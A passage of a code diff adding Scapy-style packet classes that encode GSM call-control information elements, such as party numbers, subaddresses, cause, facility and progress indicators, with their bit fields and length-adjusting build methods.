+             XBitField("ieiCPBN", None, 7),
+             XByteField("lengthCPBN", None),
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("nbPlanId", 0x0, 4),
+             # optional
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4),
+
+             BitField("nbDigit22", None, 4),
+             BitField("nbDigit21", None, 4),
+             BitField("nbDigit24", None, 4),
+             BitField("nbDigit23", None, 4),
+
+             BitField("nbDigit26", None, 4),
+             BitField("nbDigit25", None, 4),
+             BitField("nbDigit28", None, 4),
+             BitField("nbDigit27", None, 4),
+
+             BitField("nbDigit30", None, 4),
+             BitField("nbDigit29", None, 4),
+             BitField("nbDigit32", None, 4),
+             BitField("nbDigit31", None, 4),
+
+             BitField("nbDigit34", None, 4),
+             BitField("nbDigit33", None, 4),
+             BitField("nbDigit36", None, 4),
+             BitField("nbDigit35", None, 4),
+
+             BitField("nbDigit38", None, 4),
+             BitField("nbDigit37", None, 4),
+             BitField("nbDigit40", None, 4),
+             BitField("nbDigit39", None, 4),
+# ^^^^^^ 20 first optional bytes ^^^^^^^^^^^^^^^
+             BitField("nbDigit42", None, 4),
+             BitField("nbDigit41", None, 4),
+             BitField("nbDigit44", None, 4),
+             BitField("nbDigit43", None, 4),
+
+             BitField("nbDigit46", None, 4),
+             BitField("nbDigit45", None, 4),
+             BitField("nbDigit48", None, 4),
+             BitField("nbDigit47", None, 4),
+
+             BitField("nbDigit50", None, 4),
+             BitField("nbDigit49", None, 4),
+             BitField("nbDigit52", None, 4),
+             BitField("nbDigit51", None, 4),
+
+             BitField("nbDigit54", None, 4),
+             BitField("nbDigit53", None, 4),
+             BitField("nbDigit56", None, 4),
+             BitField("nbDigit55", None, 4),
+
+             BitField("nbDigit58", None, 4),
+             BitField("nbDigit57", None, 4),
+             BitField("nbDigit60", None, 4),
+             BitField("nbDigit59", None, 4),
+
+             BitField("nbDigit62", None, 4),
+             BitField("nbDigit61", None, 4),
+             BitField("nbDigit64", None, 4),
+             BitField("nbDigit63", None, 4),
+
+             BitField("nbDigit66", None, 4),
+             BitField("nbDigit65", None, 4),
+             BitField("nbDigit68", None, 4),
+             BitField("nbDigit67", None, 4),
+
+             BitField("nbDigit70", None, 4),
+             BitField("nbDigit69", None, 4),
+             BitField("nbDigit72", None, 4),
+             BitField("nbDigit71", None, 4),
+
+             BitField("nbDigit74", None, 4),
+             BitField("nbDigit73", None, 4),
+             BitField("nbDigit76", None, 4),
+             BitField("nbDigit75", None, 4),
+
+             BitField("nbDigit78", None, 4),
+             BitField("nbDigit77", None, 4),
+             BitField("nbDigit80", None, 4),
+             BitField("nbDigit79", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 43, a, self.fields_desc, 2)
+        if self.lengthCPBN is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 2 to 23
+class CalledPartySubaddressHdr(Packet):
+    """Called party subaddress Section 10.5.4.8"""
+    name = "Called Party Subaddress"
+    fields_desc = [
+             BitField("eightBitCPS", None, 1),
+             XBitField("ieiCPS", None, 7),
+             XByteField("lengthCPS", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("subAddr", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 23,  a, self.fields_desc)
+        if self.lengthCPS is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 3 to 14
+class CallingPartyBcdNumberHdr(Packet):
+    """Called party subaddress Section 10.5.4.9"""
+    name = "Called Party Subaddress"
+    fields_desc = [
+             BitField("eightBitCPBN", None, 1),
+             XBitField("ieiCPBN", None, 7),
+             XByteField("lengthCPBN", None),
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("nbPlanId", 0x0, 4),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("presId", None, 2),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("spare", None, 3),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("screenId", 0x0, 2),
+                              lambda pkt: pkt.ext == 0),
+
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 14, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthCPBN is None:
+            p = p[:1] + struct.pack(">B", len(p)-2) + p[2:]
+        return p + pay
+
+
+# len 2 to 23
+class CallingPartySubaddressHdr(Packet):
+    """Calling party subaddress  Section 10.5.4.10"""
+    name = "Calling Party Subaddress"
+    fields_desc = [
+             BitField("eightBitCPS", None, 1),
+             XBitField("ieiCPS", None, 7),
+             XByteField("lengthCPS", None),
+             # optional
+             BitField("ext1", None, 1),
+             BitField("typeAddr", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 23, a, self.fields_desc)
+        if self.lengthCPS is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 4 to 32
+class CauseHdr(Packet):
+    """Cause Section 10.5.4.11"""
+    name = "Cause"
+    fields_desc = [
+             BitField("eightBitC", None, 1),
+             XBitField("ieiC", None, 7),
+
+             XByteField("lengthC", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("codingStd", 0x0, 2),
+             BitField("spare", 0x0, 1),
+             BitField("location", 0x0, 4),
+
+             ConditionalField(BitField("ext1", 0x1, 1),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("recommendation", 0x0, 7),
+                              lambda pkt: pkt.ext == 0),
+             # optional
+             BitField("ext2", None, 1),
+             BitField("causeValue", None, 7),
+
+             ByteField("diagnositc0", None),
+             ByteField("diagnositc1", None),
+             ByteField("diagnositc2", None),
+             ByteField("diagnositc3", None),
+             ByteField("diagnositc4", None),
+             ByteField("diagnositc5", None),
+             ByteField("diagnositc6", None),
+             ByteField("diagnositc7", None),
+             ByteField("diagnositc8", None),
+             ByteField("diagnositc9", None),
+             ByteField("diagnositc10", None),
+             ByteField("diagnositc11", None),
+             ByteField("diagnositc12", None),
+             ByteField("diagnositc13", None),
+             ByteField("diagnositc14", None),
+             ByteField("diagnositc15", None),
+             ByteField("diagnositc16", None),
+             ByteField("diagnositc17", None),
+             ByteField("diagnositc18", None),
+             ByteField("diagnositc19", None),
+             ByteField("diagnositc20", None),
+             ByteField("diagnositc21", None),
+             ByteField("diagnositc22", None),
+             ByteField("diagnositc23", None),
+             ByteField("diagnositc24", None),
+             ByteField("diagnositc25", None),
+             ByteField("diagnositc26", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(4, 32, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthC is None:
+            p = p[:1] + struct.pack(">B", len(p)-2) + p[2:]
+        return p + pay
+
+
+class ClirSuppressionHdr(Packet):
+    """CLIR suppression Section 10.5.4.11a"""
+    name = "Clir Suppression"
+    fields_desc = [
+             BitField("eightBitCS", None, 1),
+             XBitField("ieiCS", None, 7),
+             ]
+
+
+class ClirInvocationHdr(Packet):
+    """CLIR invocation Section 10.5.4.11b"""
+    name = "Clir Invocation"
+    fields_desc = [
+             BitField("eightBitCI", None, 1),
+             XBitField("ieiCI", None, 7),
+             ]
+
+
+class CongestionLevelHdr(Packet):
+    """Congestion level Section 10.5.4.12"""
+    name = "Congestion Level"
+    fields_desc = [
+             XBitField("ieiCL", None, 4),
+             BitField("notDef", 0x0, 4) 
+             ]
+
+
+# Fix 1/2 len problem
+class CongestionLevelAndSpareHalfOctets(Packet):
+    name = "Congestion Level and Spare Half Octets"
+    fields_desc = [
+             BitField("ieiCL", 0x0, 4),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+# len 3 to 14
+class ConnectedNumberHdr(Packet):
+    """Connected number Section 10.5.4.13"""
+    name = "Connected Number"
+    fields_desc = [
+             BitField("eightBitCN", None, 1),
+             XBitField("ieiCN", None, 7),
+
+             XByteField("lengthCN", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("typePlanId", 0x0, 4),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("presId", None, 2),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("spare", None, 3),
+                              lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("screenId", None, 2),
+                              lambda pkt: pkt.ext == 0),
+
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 14, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthCN is None:
+            p = p[:1] + struct.pack(">B", len(p)-2) + p[2:]
+        return p + pay
+
+
+# len 2 to 23
+class ConnectedSubaddressHdr(Packet):
+    """Connected subaddress Section 10.5.4.14"""
+    name = "Connected Subaddress"
+    fields_desc = [
+             BitField("eightBitCS", None, 1),
+             XBitField("ieiCS", None, 7),
+
+             XByteField("lengthCS", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("typeOfSub", None, 3),
+             BitField("oddEven", None, 1),
+             BitField("spare", None, 3),
+
+             ByteField("subInfo0", None),
+             ByteField("subInfo1", None),
+             ByteField("subInfo2", None),
+             ByteField("subInfo3", None),
+             ByteField("subInfo4", None),
+             ByteField("subInfo5", None),
+             ByteField("subInfo6", None),
+             ByteField("subInfo7", None),
+             ByteField("subInfo8", None),
+             ByteField("subInfo9", None),
+             ByteField("subInfo10", None),
+             ByteField("subInfo11", None),
+             ByteField("subInfo12", None),
+             ByteField("subInfo13", None),
+             ByteField("subInfo14", None),
+             ByteField("subInfo15", None),
+             ByteField("subInfo16", None),
+             ByteField("subInfo17", None),
+             ByteField("subInfo18", None),
+             ByteField("subInfo19", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 23, a, self.fields_desc)
+        if self.lengthCS is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# len 2 to L3 (251) (done)
+class FacilityHdr(Packet):
+    """Facility Section 10.5.4.15"""
+    name = "Facility"
+    fields_desc = [
+             BitField("eightBitF", None, 1),
+             XBitField("ieiF", None, 7),
+             XByteField("lengthF", None),
+             # optional
+             ByteField("facilityInfo1", None),
+             ByteField("facilityInfo2", None),
+             ByteField("facilityInfo3", None),
+             ByteField("facilityInfo4", None),
+             ByteField("facilityInfo5", None),
+             ByteField("facilityInfo6", None),
+             ByteField("facilityInfo7", None),
+             ByteField("facilityInfo8", None),
+             ByteField("facilityInfo9", None),
+             ByteField("facilityInfo10", None),
+             ByteField("facilityInfo11", None),
+             ByteField("facilityInfo12", None),
+             ByteField("facilityInfo13", None),
+             ByteField("facilityInfo14", None),
+             ByteField("facilityInfo15", None),
+             ByteField("facilityInfo16", None),
+             ByteField("facilityInfo17", None),
+             ByteField("facilityInfo18", None),
+             ByteField("facilityInfo19", None),
+             ByteField("facilityInfo20", None),
+             ByteField("facilityInfo21", None),
+             ByteField("facilityInfo22", None),
+             ByteField("facilityInfo23", None),
+             ByteField("facilityInfo24", None),
+             ByteField("facilityInfo25", None),
+             ByteField("facilityInfo26", None),
+             ByteField("facilityInfo27", None),
+             ByteField("facilityInfo28", None),
+             ByteField("facilityInfo29", None),
+             ByteField("facilityInfo30", None),
+             ByteField("facilityInfo31", None),
+             ByteField("facilityInfo32", None),
+             ByteField("facilityInfo33", None),
+             ByteField("facilityInfo34", None),
+             ByteField("facilityInfo35", None),
+             ByteField("facilityInfo36", None),
+             ByteField("facilityInfo37", None),
+             ByteField("facilityInfo38", None),
+             ByteField("facilityInfo39", None),
+             ByteField("facilityInfo40", None),
+             ByteField("facilityInfo41", None),
+             ByteField("facilityInfo42", None),
+             ByteField("facilityInfo43", None),
+             ByteField("facilityInfo44", None),
+             ByteField("facilityInfo45", None),
+             ByteField("facilityInfo46", None),
+             ByteField("facilityInfo47", None),
+             ByteField("facilityInfo48", None),
+             ByteField("facilityInfo49", None),
+             ByteField("facilityInfo50", None),
+             ByteField("facilityInfo51", None),
+             ByteField("facilityInfo52", None),
+             ByteField("facilityInfo53", None),
+             ByteField("facilityInfo54", None),
+             ByteField("facilityInfo55", None),
+             ByteField("facilityInfo56", None),
+             ByteField("facilityInfo57", None),
+             ByteField("facilityInfo58", None),
+             ByteField("facilityInfo59", None),
+             ByteField("facilityInfo60", None),
+             ByteField("facilityInfo61", None),
+             ByteField("facilityInfo62", None),
+             ByteField("facilityInfo63", None),
+             ByteField("facilityInfo64", None),
+             ByteField("facilityInfo65", None),
+             ByteField("facilityInfo66", None),
+             ByteField("facilityInfo67", None),
+             ByteField("facilityInfo68", None),
+             ByteField("facilityInfo69", None),
+             ByteField("facilityInfo70", None),
+             ByteField("facilityInfo71", None),
+             ByteField("facilityInfo72", None),
+             ByteField("facilityInfo73", None),
+             ByteField("facilityInfo74", None),
+             ByteField("facilityInfo75", None),
+             ByteField("facilityInfo76", None),
+             ByteField("facilityInfo77", None),
+             ByteField("facilityInfo78", None),
+             ByteField("facilityInfo79", None),
+             ByteField("facilityInfo80", None),
+             ByteField("facilityInfo81", None),
+             ByteField("facilityInfo82", None),
+             ByteField("facilityInfo83", None),
+             ByteField("facilityInfo84", None),
+             ByteField("facilityInfo85", None),
+             ByteField("facilityInfo86", None),
+             ByteField("facilityInfo87", None),
+             ByteField("facilityInfo88", None),
+             ByteField("facilityInfo89", None),
+             ByteField("facilityInfo90", None),
+             ByteField("facilityInfo91", None),
+             ByteField("facilityInfo92", None),
+             ByteField("facilityInfo93", None),
+             ByteField("facilityInfo94", None),
+             ByteField("facilityInfo95", None),
+             ByteField("facilityInfo96", None),
+             ByteField("facilityInfo97", None),
+             ByteField("facilityInfo98", None),
+             ByteField("facilityInfo99", None),
+             ByteField("facilityInfo100", None),
+             ByteField("facilityInfo101", None),
+             ByteField("facilityInfo102", None),
+             ByteField("facilityInfo103", None),
+             ByteField("facilityInfo104", None),
+             ByteField("facilityInfo105", None),
+             ByteField("facilityInfo106", None),
+             ByteField("facilityInfo107", None),
+             ByteField("facilityInfo108", None),
+             ByteField("facilityInfo109", None),
+             ByteField("facilityInfo110", None),
+             ByteField("facilityInfo111", None),
+             ByteField("facilityInfo112", None),
+             ByteField("facilityInfo113", None),
+             ByteField("facilityInfo114", None),
+             ByteField("facilityInfo115", None),
+             ByteField("facilityInfo116", None),
+             ByteField("facilityInfo117", None),
+             ByteField("facilityInfo118", None),
+             ByteField("facilityInfo119", None),
+             ByteField("facilityInfo120", None),
+             ByteField("facilityInfo121", None),
+             ByteField("facilityInfo122", None),
+             ByteField("facilityInfo123", None),
+             ByteField("facilityInfo124", None),
+             ByteField("facilityInfo125", None),
+             ByteField("facilityInfo126", None),
+             ByteField("facilityInfo127", None),
+             ByteField("facilityInfo128", None),
+             ByteField("facilityInfo129", None),
+             ByteField("facilityInfo130", None),
+             ByteField("facilityInfo131", None),
+             ByteField("facilityInfo132", None),
+             ByteField("facilityInfo133", None),
+             ByteField("facilityInfo134", None),
+             ByteField("facilityInfo135", None),
+             ByteField("facilityInfo136", None),
+             ByteField("facilityInfo137", None),
+             ByteField("facilityInfo138", None),
+             ByteField("facilityInfo139", None),
+             ByteField("facilityInfo140", None),
+             ByteField("facilityInfo141", None),
+             ByteField("facilityInfo142", None),
+             ByteField("facilityInfo143", None),
+             ByteField("facilityInfo144", None),
+             ByteField("facilityInfo145", None),
+             ByteField("facilityInfo146", None),
+             ByteField("facilityInfo147", None),
+             ByteField("facilityInfo148", None),
+             ByteField("facilityInfo149", None),
+             ByteField("facilityInfo150", None),
+             ByteField("facilityInfo151", None),
+             ByteField("facilityInfo152", None),
+             ByteField("facilityInfo153", None),
+             ByteField("facilityInfo154", None),
+             ByteField("facilityInfo155", None),
+             ByteField("facilityInfo156", None),
+             ByteField("facilityInfo157", None),
+             ByteField("facilityInfo158", None),
+             ByteField("facilityInfo159", None),
+             ByteField("facilityInfo160", None),
+             ByteField("facilityInfo161", None),
+             ByteField("facilityInfo162", None),
+             ByteField("facilityInfo163", None),
+             ByteField("facilityInfo164", None),
+             ByteField("facilityInfo165", None),
+             ByteField("facilityInfo166", None),
+             ByteField("facilityInfo167", None),
+             ByteField("facilityInfo168", None),
+             ByteField("facilityInfo169", None),
+             ByteField("facilityInfo170", None),
+             ByteField("facilityInfo171", None),
+             ByteField("facilityInfo172", None),
+             ByteField("facilityInfo173", None),
+             ByteField("facilityInfo174", None),
+             ByteField("facilityInfo175", None),
+             ByteField("facilityInfo176", None),
+             ByteField("facilityInfo177", None),
+             ByteField("facilityInfo178", None),
+             ByteField("facilityInfo179", None),
+             ByteField("facilityInfo180", None),
+             ByteField("facilityInfo181", None),
+             ByteField("facilityInfo182", None),
+             ByteField("facilityInfo183", None),
+             ByteField("facilityInfo184", None),
+             ByteField("facilityInfo185", None),
+             ByteField("facilityInfo186", None),
+             ByteField("facilityInfo187", None),
+             ByteField("facilityInfo188", None),
+             ByteField("facilityInfo189", None),
+             ByteField("facilityInfo190", None),
+             ByteField("facilityInfo191", None),
+             ByteField("facilityInfo192", None),
+             ByteField("facilityInfo193", None),
+             ByteField("facilityInfo194", None),
+             ByteField("facilityInfo195", None),
+             ByteField("facilityInfo196", None),
+             ByteField("facilityInfo197", None),
+             ByteField("facilityInfo198", None),
+             ByteField("facilityInfo199", None),
+             ByteField("facilityInfo200", None),
+             ByteField("facilityInfo201", None),
+             ByteField("facilityInfo202", None),
+             ByteField("facilityInfo203", None),
+             ByteField("facilityInfo204", None),
+             ByteField("facilityInfo205", None),
+             ByteField("facilityInfo206", None),
+             ByteField("facilityInfo207", None),
+             ByteField("facilityInfo208", None),
+             ByteField("facilityInfo209", None),
+             ByteField("facilityInfo210", None),
+             ByteField("facilityInfo211", None),
+             ByteField("facilityInfo212", None),
+             ByteField("facilityInfo213", None),
+             ByteField("facilityInfo214", None),
+             ByteField("facilityInfo215", None),
+             ByteField("facilityInfo216", None),
+             ByteField("facilityInfo217", None),
+             ByteField("facilityInfo218", None),
+             ByteField("facilityInfo219", None),
+             ByteField("facilityInfo220", None),
+             ByteField("facilityInfo221", None),
+             ByteField("facilityInfo222", None),
+             ByteField("facilityInfo223", None),
+             ByteField("facilityInfo224", None),
+             ByteField("facilityInfo225", None),
+             ByteField("facilityInfo226", None),
+             ByteField("facilityInfo227", None),
+             ByteField("facilityInfo228", None),
+             ByteField("facilityInfo229", None),
+             ByteField("facilityInfo230", None),
+             ByteField("facilityInfo231", None),
+             ByteField("facilityInfo232", None),
+             ByteField("facilityInfo233", None),
+             ByteField("facilityInfo234", None),
+             ByteField("facilityInfo235", None),
+             ByteField("facilityInfo236", None),
+             ByteField("facilityInfo237", None),
+             ByteField("facilityInfo238", None),
+             ByteField("facilityInfo239", None),
+             ByteField("facilityInfo240", None),
+             ByteField("facilityInfo241", None),
+             ByteField("facilityInfo242", None),
+             ByteField("facilityInfo243", None),
+             ByteField("facilityInfo244", None),
+             ByteField("facilityInfo245", None),
+             ByteField("facilityInfo246", None),
+             ByteField("facilityInfo247", None),
+             ByteField("facilityInfo248", None),
+             ByteField("facilityInfo249", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 251, a, self.fields_desc)
+        if self.lengthF is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+#len 2 to 5
+class HighLayerCompatibilityHdr(Packet):
+    """High layer compatibility Section 10.5.4.16"""
+    name = "High Layer Compatibility"
+    fields_desc = [
+             BitField("eightBitHLC", None, 1),
+             XBitField("ieiHLC", None, 7),
+
+             XByteField("lengthHLC", None),
+             # optional
+             BitField("ext", None, 1),
+             BitField("codingStd", None, 2),
+             BitField("interpret", None, 3),
+             BitField("presMeth", None, 2),
+
+             BitField("ext1", None, 1),
+             BitField("highLayerId", None, 7),
+
+             ConditionalField(BitField("ext2", 0x1, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("exHiLayerId", 0x0, 7),
+                                       lambda pkt: pkt.ext1 == 0)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 5, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthHLC is None:
+            p = p[:1] + struct.pack(">B", len(p)-2) + p[2:]
+        return p + pay
+#
+# 10.5.4.16.1           Static conditions for the high layer
+# compatibility IE contents
+#
+
+
+class KeypadFacilityHdr(Packet):
+    """Keypad facility Section 10.5.4.17"""
+    name = "Keypad Facility"
+    fields_desc = [
+             BitField("eightBitKF", None, 1),
+             XBitField("ieiKF", None, 7),
+             BitField("spare", 0x0, 1),
+             BitField("keyPadInfo", 0x0, 7)
+             ]
+
+
+# len 2 to 15
+class LowLayerCompatibilityHdr(Packet):
+    """Low layer compatibility Section 10.5.4.18"""
+    name = "Low Layer Compatibility"
+    fields_desc = [
+             BitField("eightBitLLC", None, 1),
+             XBitField("ieiLLC", None, 7),
+
+             XByteField("lengthLLC", None),
+             # optional
+             ByteField("rest0", None),
+             ByteField("rest1", None),
+             ByteField("rest2", None),
+             ByteField("rest3", None),
+             ByteField("rest4", None),
+             ByteField("rest5", None),
+             ByteField("rest6", None),
+             ByteField("rest7", None),
+             ByteField("rest8", None),
+             ByteField("rest9", None),
+             ByteField("rest10", None),
+             ByteField("rest11", None),
+             ByteField("rest12", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 15, a, self.fields_desc)
+        if self.lengthLLC is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class MoreDataHdr(Packet):
+    """More data Section 10.5.4.19"""
+    name = "More Data"
+    fields_desc = [
+             BitField("eightBitMD", None, 1),
+             XBitField("ieiMD", None, 7),
+             ]
+
+
+class NotificationIndicatorHdr(Packet):
+    """Notification indicator Section 10.5.4.20"""
+    name = "Notification Indicator"
+    fields_desc = [
+             BitField("eightBitNI", None, 1),
+             XBitField("ieiNI", None, 7),
+             BitField("ext", 0x1, 1),
+             BitField("notifDesc", 0x0, 7)
+             ]
+
+
+class ProgressIndicatorHdr(Packet):
+    """Progress indicator Section 10.5.4.21"""
+    name = "Progress Indicator"
+    fields_desc = [
+             BitField("eightBitPI", None, 1),
+             XBitField("ieiPI", None, 7),
+             XByteField("lengthPI", 0x2),
+             BitField("ext", 0x1, 1),
+             BitField("codingStd", 0x0, 2),
+             BitField("spare", 0x0, 1),
+             BitField("location", 0x0, 4),
+             BitField("ext1", 0x1, 1),
+             BitField("progressDesc", 0x0, 7)
+             ]
+
+
+class RecallTypeHdr(Packet):
+    """Recall type $(CCBS)$  Section 10.5.4.21a"""
+    name = "Recall Type $(CCBS)$"
+    fields_desc = [
+             BitField("eightBitRT", None, 1),
+             XBitField("ieiRT", None, 7),
+             BitField("spare", 0x0, 5),
+             BitField("recallType", 0x0, 3)
+             ]
+
+
+# len 3 to 19
+class RedirectingPartyBcdNumberHdr(Packet):
+    """Redirecting party BCD number  Section 10.5.4.21b"""
+    name = "Redirecting Party BCD Number"
+    fields_desc = [
+             BitField("eightBitRPBN", None, 1),
+             XBitField("ieiRPBN", None, 7),
+
+             XByteField("lengthRPBN", None),
+
+             BitField("ext", 0x1, 1),
+             BitField("typeNb", 0x0, 3),
+             BitField("numberingPlan", 0x0, 4),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                                       lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("presId", None, 2),
+                                       lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("spare", None, 3),
+                                       lambda pkt: pkt.ext == 0),
+             ConditionalField(BitField("screenId", None, 2),
+                                       lambda pkt: pkt.ext == 0),
+
+             BitField("nbDigit2", None, 4),
+             BitField("nbDigit1", None, 4),
+
+             BitField("nbDigit4", None, 4),
+             BitField("nbDigit3", None, 4),
+
+             BitField("nbDigit6", None, 4),
+             BitField("nbDigit5", None, 4),
+
+             BitField("nbDigit8", None, 4),
+             BitField("nbDigit7", None, 4),
+
+             BitField("nbDigit10", None, 4),
+             BitField("nbDigit9", None, 4),
+
+             BitField("nbDigit12", None, 4),
+             BitField("nbDigit11", None, 4),
+
+             BitField("nbDigit14", None, 4),
+             BitField("nbDigit13", None, 4),
+
+             BitField("nbDigit16", None, 4),
+             BitField("nbDigit15", None, 4),
+
+             BitField("nbDigit18", None, 4),
+             BitField("nbDigit17", None, 4),
+
+             BitField("nbDigit20", None, 4),
+             BitField("nbDigit19", None, 4),
+
+             BitField("nbDigit22", None, 4),
+             BitField("nbDigit21", None, 4),
+
+             BitField("nbDigit24", None, 4),
+             BitField("nbDigit23", None, 4),
+
+             BitField("nbDigit26", None, 4),
+             BitField("nbDigit25", None, 4),
+
+             BitField("nbDigit28", None, 4),
+             BitField("nbDigit27", None, 4),
+
+             BitField("nbDigit30", None, 4),
+             BitField("nbDigit29", None, 4),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 19, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        if self.lengthRPBN is None:
+            p = p[:1] + struct.pack(">B", len(p)-2) + p[2:]
